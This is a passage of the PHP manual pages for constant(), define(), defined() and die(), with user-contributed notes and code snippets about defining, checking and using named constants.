if (empty(constant('B'))) // fatal error

// so instead, thanks to LawnGnome on IRC, you can cast the constants to boolean (empty string is false)
if (((boolean) A) && ((boolean) B))
  // do stuff
?>
dachnik 10-Apr-2010 08:41
You can define values in your config file using the names of your defined constants, e.g.

in your php code:
define("MY_CONST",999);

in you config file:
my = MY_CONST

When reading the file do this:

$my = constant($value); // where $value is the string "MY_CONST"

now $my holds the value of 999
roller 21-Jun-2009 05:21
howto echo CONSTANT_NAME without warnings and "if " checking:

<?php

!defined("CONSTANT_NAME") || constant("CONSTANT_NAME");

?>
cory dot mawhorter @ ephective dot com 08-Sep-2008 11:08
This is how I check to see if a bool constant is true:

<?php
function consttrue($const) {
    return !defined($const) ? false : constant($const);
}
?>

Examples
<?php
var_dump(consttrue('UNDEFINED_CONST'));

define('SOME_CONST', true);
var_dump(consttrue('SOME_CONST'));

define('SOME_CONST2', false);
var_dump(consttrue('SOME_CONST2'));
?>

Returns
bool(false)
bool(true)
bool(false)

If it isn't defined it will return false, otherwise it will return the value of the constant... which would be either true/false depending on what you set it to.
02-Feb-2007 05:29
@XC:

That isn't necessary. If a constant is undefined, constant() returns NULL; simply suppressing the warning should be enough:

<?php

if(defined('FOO') && constant('FOO') === 'bar'){
// ...
}

?>

becomes

<?php

if(@constant('FOO') === 'bar') {
// ...
}

?>

Note that in the first snippet, the call to constant isn't unnecessary as well, and adds a bit of overhead. If you're set on using the first notation, the following is better:

<?php

if(defined('FOO') && FOO === 'bar') {
// ...
}

?>
XC 19-Jan-2007 11:13
When you often write lines like

<?php

if(defined('FOO') && constant('FOO') === 'bar')
{
...
}

?>

to prevent errors, you can use the following function to get the value of a constant.

<?php

function getconst($const)
{
    return (defined($const)) ? constant($const) : null;
}

?>

Finally you can check the value with

<?php

if(getconst('FOO') === 'bar')
{
...
}

?>

It's simply shorter.
narada dot sage at googlemail dot com 13-Jul-2006 03:01
To access the value of a class constant use the following technique.

<?php

class a {
    const b = 'c';
}

echo constant('a::b');

// output: c

?>
service at dual-creators dot de 16-May-2006 07:00
It's easily to user constant() and define() to translate some words from your database-saves.

For example:
You have a table userprofil and one coloumn is "gender".
Gender can be male or female but you will display "maennlich" or "weiblich" (german words for it - whatever...)

First step: Fetch into $Gender

Second:
define("male", "maennlich");
define("female", "weiblich");

Third:
echo constant($Gender);

Now, the index of the variable $Gender will be handled like a constant!

(It works like "echo male;" for better understanding)

And a result of this, it displays maennlich btw. weiblich!

greetz
Trevor Blackbird > yurab.com 18-Apr-2006 11:58
Technically you can define constants with names that are not valid for variables:

<?php

// $3some is not a valid variable name
// This will not work
$3some = 'invalid';

// This works
define('3some', 'valid');
echo constant('3some');

?>

Of course this is not a good practice, but PHP has got you covered.
11-Oct-2005 04:20
In reply to VGR_experts_exchange at edainworks dot com

To check if a constant is boolean, use this instead:

<?php
if (TRACE === true)  {}
?>

Much quicker and cleaner than using defined() and constant() to check for a simple boolean.

IMO, using ($var === true) or ($var === false) instead of ($var) or (!$var) is the best way to check for booleans no matter what. Leaves no chance of ambiguity.
Joachim Kruyswijk 13-Nov-2004 06:12
The constant name can be an empty string.

Code:

define("", "foo");
echo constant("");

Output:

foo
VGR_experts_exchange at edainworks dot com 19-Sep-2003 02:32
Hello. This applies to constants being defined as Boolean values, and may-be applies generally.

I advise you to NOT use this in an included file, in a function or elsewhere outside the scope where the define('TRACE',TRUE) is placed) :

if (TRACE) {}

This will always evaluate to TRUE if the constant is not defined previously (the story about this becoming an string 'TRACE', thus evaluating to TRUE)

Use this :

<?php
if ((defined('TRACE'))AND(constant('TRACE')))  {}
?>
Andre 27-Apr-2003 10:10
Maybe this is useful:

$file_ext is the file Extension of the image

<?php
if ( imagetypes() & @constant('IMG_' . strtoupper($file_ext)) )
{
    $file_ext = $file_ext == 'jpg' ? 'jpeg' : $file_ext;
    $create_func = 'ImageCreateFrom' . $file_ext;
}
?>


Defines a named constant

  • « constant
  • defined »
  • PHP Manual
  • Misc. Functions
  • Defines a named constant

define

(PHP 4, PHP 5)

define — Defines a named constant

Description

bool define ( string $name , mixed $value [, bool $case_insensitive = false ] )

Defines a named constant at runtime.

Parameters

name

The name of the constant.

value

The value of the constant; only scalar and null values are allowed. Scalar values are integer, float, string or boolean values. It is possible to define resource constants, however it is not recommended and may cause unpredictable behavior.

case_insensitive

If set to TRUE, the constant will be defined case-insensitive. The default behavior is case-sensitive; i.e. CONSTANT and Constant represent different values.

Note:

Case-insensitive constants are stored as lower-case.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Defining Constants

<?php
define("CONSTANT", "Hello world.");
echo CONSTANT; // outputs "Hello world."
echo Constant; // outputs "Constant" and issues a notice.

define("GREETING", "Hello you.", true);
echo GREETING; // outputs "Hello you."
echo Greeting; // outputs "Hello you."

?>

See Also

  • defined() - Checks whether a given named constant exists
  • constant() - Returns the value of a constant
  • The section on Constants

User Contributed Notes

daevid at daevid dot com 20-Feb-2014 02:45
Be aware that undefined constants are not evaluated the same as undefined variables (which is frustratingly counter-intuitive)...

$ php -a

php > if (!DO_IT) echo "don't do it\n"; else echo "do it\n";
do it

php > var_dump(DO_IT);
string(5) "DO_IT"

php > if (!$DO_IT) echo "don't do it\n"; else echo "do it\n";
don't do it

php > var_dump($DO_IT);
NULL

You have to specifically check for the definition like so...

php > if(!defined('DO_IT') || (defined('DO_IT') && !DO_IT))echo "don't do it\n"; else echo "do it\n";
don't do it

*sigh*
php at richardneilll dot org 14-Jul-2013 09:15
In PHP,  define does not have the same gotchas as the C-preprocessor. E.g.

//In PHP:
define ("x", 5+2);    //x is evaluated as 7
echo 3 * x;             //This is 21, as you'd expect.

//But in C:
#define x   5+2;       //x is the string "5+2", substituted later.
printf ("%d",  3*x);  //This is 17.
New Social Life 17-Aug-2012 11:59
I want to show you how to define multiple things at once

just use this small function: ( i'm trying to do it even smaller... but i think is small enough )

<?php function …define($a){foreach($a as $k => $v)define($k, $v);} ?>

usage example:

<?php
…define(array(
    "second" => 1,
    "minute" => 60,
    "hour" => 3600,
    "day" => 86400,
    "week" => 604800,
    "month" => 2592000, // 30 days month
    "year" => 31536000,
    "year2" => 31622400
));
?>

PLEASE NOTE:
there AREN'T three points, there is the three points CHARACTER, to be sure, just copy paste my code
kriscraig at php dot net 24-Mar-2012 06:47
Some people like to have an ambiguous, engine-agnostic database include specified by assigning a single config variable to one of a series of constants.  Unfortunately, this can easily become needlessly clunky if these defines are handled in an included config.php file, since more than one hook will throw an ugly "already defined" error.

Here's a simple way to accomplish this architectural model without having to create a bunch of clumsy sanity checks that compromise scalability:

<?php

/* Available databases.  --Kris */
$dbengines = array();
$dbengines[] = "mysql";
$dbengines[] = "mysqli";
$dbengines[] = "pgsql";

foreach ( $dbengines as $engine )
{
    if ( !defined( "_" . strtoupper( $engine ) . "_" ) )
    {
        define( "_" . strtoupper( $engine ) . "_", $engine );
    }
}

/* Which database engine shall we use?  --Kris */
$sql_type = _MYSQLI_;

?>
Then, somewhere later in the stack....

<?php

/* Include the file with the desired sql class.  --Kris */
require_once( $sql_type . ".php" );

/* Now you can use the same code for any supported db engine.  --Kris */
$sql = new sql();
$res = $sql->query( .... );
phen at adnerdum dot org 06-Jul-2011 10:32
To clear up a few thing:
Integers with 0 in front work. But since PHP (and many other languages) handle them as octal values, they're only allowed a range of 0-7:

<?php
 define('GOOD_OCTAL', 0700);
 define('BAD_OCTAL', 0800);

 print GOOD_OCTAL;
 print '<br>';
 print BAD_OCTAL;
?>

Result:
448
0

---------------------------------------

Furthermore,

writing the constant name without the quotation-marks (as mentioned in the notes) throws an E_NOTICE and should be avoided!

<?php
 define(TEST, 'Throws an E_NOTICE');
?>

Result:
Notice: Use of undefined constant TEST - assumed 'TEST'
kobrasrealm at gmail dot com 11-Jun-2011 03:31
When going back to rewrite code, it might be tempting to have a constant &reference a variable, but it doesn't work.

<?php
header("Content-type: text/plain");
$variable = "value";
define("MYCONSTANT", &$variable);
  echo $variable."\n";
  echo MYCONSTANT."\n";
  echo "------\n";
$variable = "different";
  echo $variable."\n";
  echo MYCONSTANT;
?>

Produces this:

value
value
------
different
value

I doubt it's supposed to work, either. :)
Jamie 01-Mar-2011 10:24
This is obvious, but easy to forget: if you include a file, the include file can only make use of constants already defined. For example:

<?php
define("VEG","cabbage");
require("another file");
define("FRUIT","apple");

// "another file":
echo VEG; // cabbage
echo FRUIT; // FRUIT
?>
andreas at cap-systems dot com 05-Feb-2011 01:54
Constant name must not written as string. The following code works also:

<?php
define(MY_NAME, 'value');
define('ANOTHER_NAME', 'value2');

if(defined('MY_NAME')) {
  echo MY_NAME . '<br />';
}

if(defined('ANOTHER_NAME')) {
  echo ANOTHER_NAME . '<br />';
}

echo MY_NAME . '<br />';
echo ANOTHER_NAME . '<br />';
?>

Output:
value
value2
value
value2

Tested with:
- PHP 5.3.1 on XAMPP on Windows Vista (local)
- PHP 5.2.42 on Apache 2.0 on Linux (remote)
- PHP 5.2.12 on Apache 2.0 on Linux (remote)
angelos at unkreativ dot org 09-Jan-2011 10:18
Something I found out the "hard" way today: integers starting with 0 won't work.
<?php
define('SOMECONSTANT', 09900);
var_dump(SOMECONSTANT);
?>
Produces int(0)

<?php
define('SOMECONSTANT', 9900);
var_dump(SOMECONSTANT);
?>
Produces int(9900)
toph at farmer corp dot c om 16-Oct-2010 11:51
Hi,

Here is a trick to use constants within the heredoc notation.

<?php
define('MY_CONSTANT','foo bar')
$cst = 'cst';
function cst($constant){
    return $constant;
}

$string = <<<EOF
My constante MY_CONSTANT : {$cst(MY_CONSTANT)} ...
EOF;
echo $string;
?>

That will echo :

My constante MY_CONSTANT : foo bar ...

As you can use function within the heredoc notation the idea is to use a fonction to return the value of the constant.
Be carefull, to use a function, it's necessary to declare the name of the function as a variable and to use that varaible during the "call" of the constant.

It works for me and doesn't seem too messy.

Hope that will help.
rush at bigup dot com dot pa 10-Aug-2010 07:23
Just in case:

You cannot set a constant to be a class.  For example:
define ("WSDLCLIENT",new soapclient(WSDLSERVER, 'wsdl'));

You cannot do this.
chris at peeto dot net 26-Mar-2010 04:15
The value of a constant can be the value of another constant.

<?php

define("NEW_GOOD_NAME_CONSTANT", "I have a value");
define("OLD_BAD_NAME_CONSTANT", NEW_GOOD_NAME_CONSTANT);

echo NEW_GOOD_NAME_CONSTANT; // current
echo OLD_BAD_NAME_CONSTANT; // legacy

?>
bohwaz.net 16-Aug-2009 02:54
Note that define don't care at all about the constant name, you can give everything as a constant name, even if the PHP documentation says that the allowed characters are [a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*

Just try this :

<?php define('anything::()$', 'test'); ?>

You won't be able to access this constant though, it will throw a parse error, either through constant() or define(), but if you do that :

<?php print_r(get_defined_constants()); ?>

You will see that the constant is registered at the end of the array. Yes that's totally useless. But you can try other things that will work with constant() :

<?php define('...', 'test'); echo constant('...'); ?>

Will echo 'test'. Yeah that's a pretty strange behavior.

And please note that defining object constants outside of objets don't work :

<?php
class myObject { }
define('myObject::CONSTANT', 'test');
?>
Anonymous 20-Jul-2009 07:31
My notice to: redeclare define -  it is possible

php -v

--> PHP 5.2.6-3ubuntu4.1 with Suhosin-Patch 0.9.6.2
Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies
php -r "define('TEST','foo',true);
var_dump(TEST);
define('TEST','bar');
var_dump(TEST);"

string(3) "foo"
string(3) "bar"

greetings
sixd at php dot net 17-Jul-2009 11:24
A note on redefining:

Constants can't be redefined:

$ php -r "define('A', 1); var_dump('A'); define('A', 2); var_dump('A');";
string(1) "A"
PHP Notice:  Constant A already defined in Command line code on line 1
string(1) "A"

But using the case insensitive setting shows that the internal
representation is lower case:

$ php -r "define('A', 1, true); var_dump('A'); define('A', 2); var_dump('A');";
string(1) "A"
string(1) "A"

Note the lower case 'a' in the second define() here:
$ php -r "define('A', 1, true); var_dump('A'); define('a', 2); var_dump('A');";
string(1) "A"
PHP Notice:  Constant a already defined in Command line code on line 1
string(1) "A"
danbettles at yahoo dot co dot uk 14-Apr-2009 08:56
define() will define constants exactly as specified.  So, if you want to define a constant in a namespace, you will need to specify the namespace in your call to define(), even if you're calling define() from within a namespace.  The following examples will make it clear.

The following code will define the constant "MESSAGE" in the global namespace (i.e. "\MESSAGE").

<?php
namespace test;
define('MESSAGE', 'Hello world!');
?>

The following code will define two constants in the "test" namespace.

<?php
namespace test;
define('test\HELLO', 'Hello world!');
define(__NAMESPACE__ . '\GOODBYE', 'Goodbye cruel world!');
?>
Aldonio 27-Mar-2009 05:24
This code will define every key of an array, and if its a multidimentional array it will define it as parent_child1_child2_etc.

<?php
function define_array( $array, $keys = NULL )
{
    foreach( $array as $key => $value )
    {
        $keyname = ($keys ? $keys . "_" : "") . $key;
        if( is_array( $array[$key] ) )
            define_array( $array[$key], $keyname );
        else
            define( $keyname, $value );
    }
}
?>
ceo at l-i-e dot com 11-Mar-2009 11:04
In PHP 4.4.9, you cannot use certain names for constants.

Specifically, reserved words such as 'PRINT', 'IF', etc.

Oddly enough, you get different behaviour for some:

<?php
define('IF', 42);
echo "IF: ", IF, "<hr />\n";
?>

yields PHP Parse error:  syntax error, unexpected T_IF

<?php
define('PRINT', 13);
echo "PRINT: ", PRINT, "<hr />\n";
?>

yields PHP Parse error:  syntax error, unexpected ')'

Not sure if this is still true in PHP 5 or not, but it's worth noting if it is.
Anonymous 09-Mar-2009 10:03
With php 5.30 it is possible to make some "restrictions", in case u use namespaces...
The following function allows only uppercase and, if 3 param isset, gives E_USER_ERROR instead of E_NOTICE:

<?php
namespace bla;

function define($c,$v,$x=false) {
    $c = strtoupper($c);
    if (!defined($c)) {
        // not to use \define here, as the syntax highlighting does not work correctly here...
        return define($c, $v, true);
    } else if ($x == true) {
        trigger_error('setting constant "'.$c.'" is not allowed', E_USER_ERROR);
    }
    return null;
}

define('PHP_VERSION', '1');
define('PHP_VERSION', '1') || trigger_error('constant already defined', E_USER_NOTICE);
define('PHP_VERSION', '1', true);
?>
jv at vip dot ie 09-Mar-2009 01:14
Probably the most efficient way of creating a constant array is to put it in a function like this:

<?php
function my_const_arr()
{
   return array
   (
      'key1' => 'val 1',
      'key2' => 'va' 2'
   );
}
?>

Then use at will like so...
<?php $my_const_arr = my_const_arr(); ?>
usuroer dot king at hotmail dot co dot uk 08-Mar-2009 01:15
Referring to "This-Is-A-Test" constant below.

When echoing it the script thinks you performing a series of minus (subtraction) thus since THIS and IS, A, TEST are not defined they are 0 by default. So 0-0-0-0 = 0.

As explained that a hyphen cannot be used within a variable.
downwind at web dot de 02-Feb-2009 05:48
I'm reffering to the note below by mittiprovence.

The described behavior has nothing to do with the fact that there is a constant in the condition.

Comparing a non-numeric string to the integer 0 by using == will return true, since the string will be casted to integer - which will be zero. If your string starts with a number, it will be castet to an integer with the number as value.

To avoid the described behavior, you should use === instead of ==.

Finally, the behavior discribed by mittiprovence is exacly the expected behavior as defined in the manual.

For further information read the manual:

http://www.php.net/manual/en/types.comparisons.php

http://www.php.net/manual/en/language.operators.comparison.php

http://www.php.net/manual/en/language.types.string.php #language.types.string.conversion

<?php

if (0 == "some string") { // is true
echo "0 == 'some string'";
}

if (1 == "some string") { // is false
echo "1 == 'some string'";
}

if (1 == "1 some string") { // is true
echo "1 == '1 some string'";
}

if (0 === "some string") { // is false
echo "0 === 'some string'";
}

?>
eparkerii at carolina dot rr dot com 22-Oct-2008 09:01
Found something interesting.  The following define:

<?php
define("THIS-IS-A-TEST","This is a test");
echo THIS-IS-A-TEST;
?>

Will return a '0'.

Whereas this:

<?php
define("THIS_IS_A_TEST","This is a test");
echo THIS_IS_A_TEST;
?>

Will return 'This is a test'.

This may be common knowledge but I only found out a few minutes ago.

[EDIT BY danbrown AT php DOT net: The original poster is referring to the hyphens versus underscores.  Hyphens do not work in defines or variables, which is expected behavior.]
jan at webfontein dot nl 27-Jul-2008 02:20
For translating with variables and define, take also a look on the constant() function.

Example :

<?php
define('PAYMENT_IDEAL',"iDEAL Payment ( NL only )");
define('PAYMENT_MASTERCARD',"Mastercard Payment ( international )");

$payparam='MASTERCARD';

echo constant("PAYMENT_$payparam");

// output :
// Mastercard Payment ( international )
?>
thscheer at web dot de 20-Jun-2008 11:18
How to define an array as constant with define?

there is a simple way to define an array of values as constant...

just

define ("constant-name","value1,value2,value3,value4");

$t_array = preg_split('/,/', constant(constant-name), -1, PREG_SPLIT_NO_EMPTY);

var_dump($t_array);

array(4) { [0]=> string(6) "value1" [1]=> string(6) "value2" [2]=> string(6) "value3" [3]=> string(6) "value4" }

Now you can iterate over the array defined as constant ...
ceo at l-i-e dot com 05-May-2008 05:30
I'm not sure if it's version dependent, but apparently this works:
define('APPLICATION_NOW', time());

This can be quite handy for time-dependent code...

You can then do:
class foo {
  $private now = APPLICATION_NOW;
}

and have a consistent time-stamp across the application, which is nice.

Works for me in 5.2.5

I didn't think it worked before...
jason@sitehatchery dot com 25-Apr-2008 08:28
You can store your constant as the value of a variable like this:

$variable=VARIABLE;

To access the constant, do this:  constant($variable).

Beware: if your variable changes, then you loose your reference to the constant - but the constant itself will not change.

I've found this especially useful for storing the constant string   (i.e. VARIABLE) in a database.
rayro at gmx dot de 15-Sep-2007 11:53
just a note to the previous post by e s lin d sey at g mail dot co m:

Well as u said, it is not the best workaround. To resolve this "Problem" without getting incredible loss of performance, you are able to make the use of "variable functions" like "variable variables":

<?php
$def = 'constant';
$string = <<<END
    This is PHP running on<br />
    {$def('PHP_OS')}
END;
var_dump($string);
?>

In this example we make use of the "constant" function which is builtin, and it will output:

string(37) " This is PHP running on
WINNT"

Tested on PHP 5...
Best regards
e s lin d sey at g mail dot co m 13-Aug-2007 10:38
Constants can't be referenced from within quotes or (more importantly IMHO) from within HEREDOC syntax. This is a huge drawback in my opinion. Here's two of my workarounds:

<?php

//PHP5 only -- more efficient
$constarray = get_defined_constants(true);
foreach($constarray['user'] as $key => $val)
    eval(sprintf('$_CONSTANTS[\'%s\'] = \'%s\';', addslashes($key), addslashes($val)));

//PHP4+ -- less efficient because it defines (potentially) hundreds of unnecessary constants
foreach(get_defined_constants() as $key => $val)
    eval(sprintf('$_CONSTANTS[\'%s\'] = \'%s\';', addslashes($key), addslashes($val)));

?>

Now you can refer to your defined constants using the $_CONSTANTS array. Note that because this is NOT a superglobal, a few caveats apply:

<?php

//run code snippet here to define $_CONSTANTS in global scope...

$mv = $_CONSTANTS['FOO']; //works

function my_function1()
{
    $mv = $_CONSTANTS['BAR']; //doesn't work! not defined!
}

function my_function2()
{
    global $_CONSTANTS;
    $mv = $_CONSTANTS['BAR']; //ah, this works!
}

?>

I realize this is not ideal, either for performance or for convenience of being able to refer to constants without regard to scope, but it is a workaround that works. Depending on your application, it may be easier to shift your paradigm a bit and use the following method instead, declaring your constants as variables first:

<?php

//first, define our constants...
$_CONSTANTS['FOO'] = 'bar';
$_CONSTANTS['BAR'] = 'foo';

//now, turn them into real constants...
foreach($_CONSTANTS as $key => $val)
    define($key, $val);

//now, you can use either format to refer to a constant
print($_CONSTANTS['FOO']);   //prints 'bar'
print(FOO);                  //prints 'bar'
print("$_CONSTANTS['FOO']"); //prints 'bar'
                             //prints 'blah bar blah'
print <<<EOF
  blah {$_CONSTANTS['FOO']} blah
EOF;

?>

Hope this helps some of you out there, I know being able to utilize my constants in HEREDOC helped me a ton!
smifffy at smith-net dot org dot uk 26-Jul-2007 01:23
a basic function to auto assign a numeric value that increase by itself each time - used in some permission style scripts

<?php
function define_bitwise($constant_name, $reset = False)
{
    static $bitwise_next = 1;

    if ( $reset === True )
    {
        $bitwise_next = 1;
    }

    define($constant_name, $bitwise_next);

    $bitwise_next += $bitwise_next;
}
?>

when reset it set to True, resets that value to 1 and starts afresh
creeves at dja dot com 19-Jul-2007 03:59
Intersting to note:

I found this in php5 on windows

If you try to unset a constant (which you cant but maybe you have a Jr. programmer or something).  The error message that is thrown is:

<?php
define ("SOME_CONSTANT", true);
unset (SOME_CONSTANT);
?>

Parse error: parse error, unexpected ')', expecting T_PAAMAYIM_NEKUDOTAYIM
nl-x at bita dot nl 09-Jul-2007 07:34
Watch out. You can define a new constant with the name NULL with define("NULL","FOO");. But you must use the function constant("NULL"); to get it's value. NULL without the function call to the constant() function will still retrieve the special type NULL value.
Within a class there is no problem, as const NULL="Foo"; will be accessible as myClass::NULL.
stangelanda at arrowquick dot com 01-Jan-2007 03:59
An improvement on the function from bobbykjack at yahoo dot co dot uk on the concept by richard dot quadling at bandvulc dot co dot uk:
<?php
function adefine($constant_name, $value=null) {
    static $increment = 0; // 1 for bitmask

    if (is_null($value)) {
        define($constant_name, ++$increment); // $increment=$increment<<1 for bitmask
    } else {
        define($constant_name, $value);
        if (is_numeric($value)) {
            $increment = $value;
        }
    }
}
?>
If you pass it a second argument it defines it normally, and resets the increment if the value is numeric.  This way the function can replace define, and you can reset the counter for a new set of constants.
<?php
adefine ('RULE_CALLBACK_FORMAT', 1); // 1
adefine ('RULE_CHANGE_CALLBACK_ON_ERROR'); // 2
adefine ('RULE_CHANGE_COMPARE_DATE'); // 3
adefine('KEYWORD', 'hodgepodge'); // hodgepodge <-- defined normally
adefine ('RULE_CHANGE_ON_DATE'); // 4

adefine ('ERROR_DESC', 1); // 1 <-- Counter reset
adefine ('ERROR_EXPECTED_RESULT'); // 2
?>
12-Feb-2005 05:45
Better pack with define() for all who really miss Java package management:

Use this "manifest.php" on very first script start or copy it to your config.somehow.php.

<?php
$__packages = array(
    "org.ilove.java.more",
    "org.ilove.python.too",
    "net.php.isok"
);

define("C_IS_WINDOWS", false);
define("C_DIR", (C_IS_WINDOWS ? "\\" : "/"));
define("C_PATH_ROOT", str_replace("/", C_DIR, $_SERVER["DOCUMENT_ROOT"]).C_DIR);
define("C_PATH_CORE", C_PATH_ROOT."core".C_DIR);
define("C_PATH_CLASS", C_PATH_CORE."classes".C_DIR);
define("C_APPLICATION_BASE", C_PATH_CORE.C_DIR."application".C_DIR);

$total_packages = 0;
$i = sizeof($__packages);
while($i-- > 0) {
    $tokens = explode(".", $__packages[$i]);
    $j = sizeof($tokens);
    while($j-- > 0) {
        $token = strtolower(trim($tokens[$j]));
        if(strlen($token) > 0 && !defined($token)) {
            define($token, ($j == 0 ? C_PATH_CLASS : "").$tokens[$j].C_DIR);
            $total_packages++;
        }
    }
}
define("C_PACKAGE_COUNT", $total_packages);
?>

With restrictions on non-package constants, you now can call your files like that:

<?php

require_once org.ilove.java.more."Than.php";

?>

Regards
Robi
phpnet at trenkner dot de 15-Mar-2003 12:59
---[Editor's Note]---
As of PHP 5.0.0 this is possible. You can define class-only constants, which can be called like Foo::Constant1 from the outside
---[End Note]---

Please keep in mind that

class AClass {
  define ("Const1", "Value1");
  ... }

didn't work. You have to make all your constant definitions before you open the class. So

define ("Const1", "Value1");
class AClass {
  ... }

would be correct.
radovan dot biciste at managestar dot com 07-Nov-2001 05:45
Wonder how to work with variable which name is stored in a constant?
Here it is:
<?php
define("VAR_NAME","test");
// assigning value
${VAR_NAME} = "value";
// getting value back
echo ${VAR_NAME};
?>


Checks whether a given named constant exists

  • « define
  • die »
  • PHP Manual
  • Misc. Functions
  • Checks whether a given named constant exists

defined

(PHP 4, PHP 5)

defined — Checks whether a given named constant exists

Description

bool defined ( string $name )

Checks whether the given constant exists and is defined.

Note:

If you want to see if a variable exists, use isset() as defined() only applies to constants. If you want to see if a function exists, use function_exists().

Parameters

name

The constant name.

Return Values

Returns TRUE if the named constant given by name has been defined, FALSE otherwise.

Examples

Example #1 Checking Constants

<?php
/* Note the use of quotes, this is important.  This example is checking
 * if the string 'TEST' is the name of a constant named TEST */
if (defined('TEST')) {
    echo TEST;
}
?>

See Also

  • define() - Defines a named constant
  • constant() - Returns the value of a constant
  • get_defined_constants() - Returns an associative array with the names of all the constants and their values
  • function_exists() - Return TRUE if the given function has been defined
  • The section on Constants

User Contributed Notes

passerbyxp at gmail dot com 02-Nov-2012 09:10
This function, along with constant(), is namespace sensitive. And it might help if you imagine them always running under the "root namespace":

<?php
namespace FOO\BAR
{
    const WMP="wmp";
    function test()
    {
        if(defined("WMP")) echo "direct: ".constant("WMP"); //doesn't work;
        elseif(defined("FOO\\BAR\\WMP")) echo "namespace: ".constant("FOO\\BAR\\WMP"); //works
        echo WMP; //works
    }
}
namespace
{
    \FOO\BAR\test();
}
Lars Lernestal 25-Oct-2011 11:03
if you want to check id a class constant is defined use self:: before the constant name:

<?php
defined('self::CONSTANT_NAME');
?>
vindozo at gmail dot com 31-Aug-2010 11:21
If you wish to protect files from direct access I normally use this:

index.php:

<?php
// Main stuff here
define('START',microtime());

include "x.php";
?>

x.php:

<?php
defined('START')||(header("HTTP/1.1 403 Forbidden")&die('403.14 - Directory listing denied.'));
?>
audvare at gmail dot com 17-May-2010 04:35
For compatibility with PHP 5.3 and 5.2 and dirname(__FILE__) vs __DIR__ constant:

<?php
$dir = NULL;
if (defined('__DIR__')) {
  $dir = __DIR__;
}
else {
  $dir = dirname(__FILE__);
}
?>

Not for every time; you should probably just define this elsewhere so every time the script needs the current directory just use $dir which was taken from that bit.
r dot hartung at roberthartung dot de 04-Dec-2009 08:45
You can use the late static command "static::" withing defined as well. This example outputs - as expected - "int (2)"

<?php
  abstract class class1
  {
    public function getConst()
    {
      return defined('static::SOME_CONST') ? static::SOME_CONST : false;
    }
  }

  final class class2 extends class1
  {
    const SOME_CONST = 2;
  }

  $class2 = new class2;

  var_dump($class2->getConst());
?>
info at daniel-marschall dot de 11-Jul-2009 10:51
I found something out: defined() becomes probably false if a reference gets lost.

<?php

session_start(); // $_SESSION created
define('SESSION_BACKUP', $_SESSION);
if (defined('SESSION_BACKUP')) echo 'A';
session_unset(); // $_SESSION destroyed
if (defined('SESSION_BACKUP')) echo 'B';

?>

You will see "A", but not "B".
tris+php at tfconsulting dot com dot au 27-Mar-2009 03:40
Before using defined() have a look at the following benchmarks:

true                                       0.65ms
$true                                      0.69ms (1)
$config['true']                            0.87ms
TRUE_CONST                                 1.28ms (2)
true                                       0.65ms
defined('TRUE_CONST')                      2.06ms (3)
defined('UNDEF_CONST')                    12.34ms (4)
isset($config['def_key'])                  0.91ms (5)
isset($config['undef_key'])                0.79ms
isset($empty_hash[$good_key])              0.78ms
isset($small_hash[$good_key])              0.86ms
isset($big_hash[$good_key])                0.89ms
isset($small_hash[$bad_key])               0.78ms
isset($big_hash[$bad_key])                 0.80ms

PHP Version 5.2.6, Apache 2.0, Windows XP

Each statement was executed 1000 times and while a 12ms overhead on 1000 calls isn't going to have the end users tearing their hair out, it does throw up some interesting results when comparing to if(true):

1) if($true) was virtually identical
2) if(TRUE_CONST) was almost twice as slow - I guess that the substitution isn't done at compile time (I had to double check this one!)
3) defined() is 3 times slower if the constant exists
4) defined() is 19 TIMES SLOWER if the constant doesn't exist!
5) isset() is remarkably efficient regardless of what you throw at it (great news for anyone implementing array driven event systems - me!)

May want to avoid if(defined('DEBUG'))...
reachmike at hotpop dot com 01-Dec-2008 07:17
You may find that if you use <?= ?> to dump your constants, and they are not defined, depending on your error reporting level, you may not display an error and, instead, just show the name of the constant. For example:

<?= TEST ?>

...may say TEST instead of an empty string like you might expect. The fix is a function like this:

<?php

function C(&$constant) {
    $nPrev1 = error_reporting(E_ALL);
    $sPrev2 = ini_set('display_errors', '0');
    $sTest = defined($constant) ? 'defined' : 'not defined';
    $oTest = (object) error_get_last();
    error_reporting($nPrev1);
    ini_set('display_errors', $sPrev2);
    if ($oTest->message) {
        return '';
    } else {
        return $constant;
    }
}

?>

And so now you can do:

<?= C(TEST) ?>

If TEST was assigned with define(), then you'll receive the value. If not, then you'll receive an empty string.

Please post if you can do this in fewer lines of code or do something more optimal than toggling the error handler.
daniel at neville dot tk 14-Jul-2008 07:48
My preferred way of checking if a constant is set, and if it isn't - setting it (could be used to set defaults in a file, where the user has already had the opportunity to set their own values in another.)

<?php

defined('CONSTANT') or define('CONSTANT', 'SomeDefaultValue');

?>

Dan.
Shaun H 28-Mar-2008 08:30
I saw that PHP doesn't have an enum function so I created my own. It's not necessary, but can come in handy from time to time.

<?php
    function enum()
    {
        $args = func_get_args();
        foreach($args as $key=>$arg)
        {
            if(defined($arg))
            {
                 die('Redefinition of defined constant ' . $arg);
            }

            define($arg, $key);
        }
    }

    enum('ONE','TWO','THREE');
    echo ONE, ' ', TWO, ' ', THREE;
?>
Joel 20-Aug-2007 02:35
If your constants don't show up in your included or required files, then you probably have php safe mode turned on!

I ran into this problem, I forgot to turn of safe mode when I was creating a new site.
ndove at cox dot net 28-Jan-2005 04:20
In PHP5, you can actually use defined() to see if an object constant has been defined, like so:

<?php

class Generic
{
    const WhatAmI = 'Generic';
}

if (defined('Generic::WhatAmI'))
{
    echo Generic::WhatAmI;
}

?>

Thought it may be useful to note.

-Nick
Craig at chatspike dot net 30-Nov-2003 08:57
This can be useful if you want to protect pages which get included from outsiders eyes, on your mail page (the page viewable by people) put define("X", null); then on all your other pages, you can then do something like:

<?php
if (!defined("X")) {
    echo "You Cannot Access This Script Directly, Have a Nice Day.";
    exit();
}
?>

And your page is a good as protected :)


Equivalent to exit

  • « defined
  • eval »
  • PHP Manual
  • Misc. Functions
  • Equivalent to exit

die

(PHP 4, PHP 5)

die — Equivalent to exit

Description

This language construct is equivalent to exit().

User Contributed Notes

Thomas Horsten 10-Oct-2013 02:28
Because die() still allows destructors to be read, after analyzing a huge dataset (more than 12GB) in RAM, and printing the results, it was taking forever to exit while cleaning up (almost a minute), time that could have been spent running the next dataset. I noticed that killing the process solved this, but I needed to do it automatically from inside the script to do batch jobs. Saved me hours when I found out how. There should be an option to quit without wasting time on destructors. Anyway:

posix_kill(getmypid(), SIGTERM);
DAFox 14-Sep-2012 10:08
Something to keep in mind OWASP states that "Attackers love the extra information error messages provide".  They ask
